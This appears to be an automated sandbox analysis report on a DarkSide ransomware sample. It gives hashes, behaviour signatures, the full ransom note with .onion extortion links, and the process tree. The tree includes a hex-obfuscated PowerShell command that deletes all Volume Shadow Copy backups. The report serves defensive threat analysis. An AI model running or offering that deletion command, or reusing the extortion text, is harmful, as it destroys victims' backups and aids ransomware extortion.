Overview

overview

10

Static

static

3

2025-03-13...de.exe

windows7-x64

10

2025-03-13...de.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    120s
  • max time network
    107s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/03/2025, 18:48

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General

  • Target

    2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe

  • Size

    40KB

  • MD5

    1d799fb2da06be5fa821394bbbada9f0

  • SHA1

    9b85d4729aa2ccbd4e87c2d834a827b2277cfa3d

  • SHA256

    74f81828fa61650baef0ea57869be1f664b7acb0a834592a118ec7bc0291bf40

  • SHA512

    4ef2876589a1090ca8b29b0696e0562f81d934b94b44ae1144ec7e9443b5629e0be66e6fd8296f76fc763c58b7977f6d30a70832442c972195240b5005ef52ec

  • SSDEEP

    384:/oyzEpcGhIxJl9JEdauBNa/nu333s8JrxRMt0GNtslmlLpB1pyLloyGw6Bm7lpIt:/o4EpThIpEdauX3hS/sj5kGudUj9Vg

Score
10/10
darksidecredential_accessdiscoveryexecutionransomwarespywarestealer

Malware Config

Extracted

Path

C:\Recovery\README.ea5c4952.TXT

Family

darkside

Ransom Note
----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

    ransomwaredarkside
  • Darkside family
    darkside
  • Renames multiple (166) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-13_1d799fb2da06be5fa821394bbbada9f0_darkside.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5160
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2804
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2528

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Recovery\README.ea5c4952.TXT
    Filesize

    2KB

    MD5

    25d0b19a0ec34a39dfa3e177866f01a3

    SHA1

    a3704d1f6499738ccd694bdd6008a850c6b2e453

    SHA256

    f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

    SHA512

    ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    42b1d3ad5c514da2a8af61a31f1cc6af

    SHA1

    563477fa58f06ffa5c68fe6e5d328f9ff48d0865

    SHA256

    1ad6c42064b220889e458d84712e447d2dc12c83eba4ab0444c9607abab60532

    SHA512

    8c475bee7073b1af6a61080d716ee84da5d29543682f756457107e878de1dfba7d3553fc80fa748c1f104d0531156ed127a6302e1bee256c366e24bdac082018

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w4nb225o.wfa.psm1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/2804-0-0x00007FFCF90A3000-0x00007FFCF90A5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2804-10-0x000002BAF3690000-0x000002BAF36B2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2804-11-0x00007FFCF90A0000-0x00007FFCF9B61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2804-12-0x00007FFCF90A0000-0x00007FFCF9B61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2804-13-0x00007FFCF90A0000-0x00007FFCF9B61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2804-15-0x00007FFCF90A0000-0x00007FFCF9B61000-memory.dmp

    Filesize

    10.8MB

    Download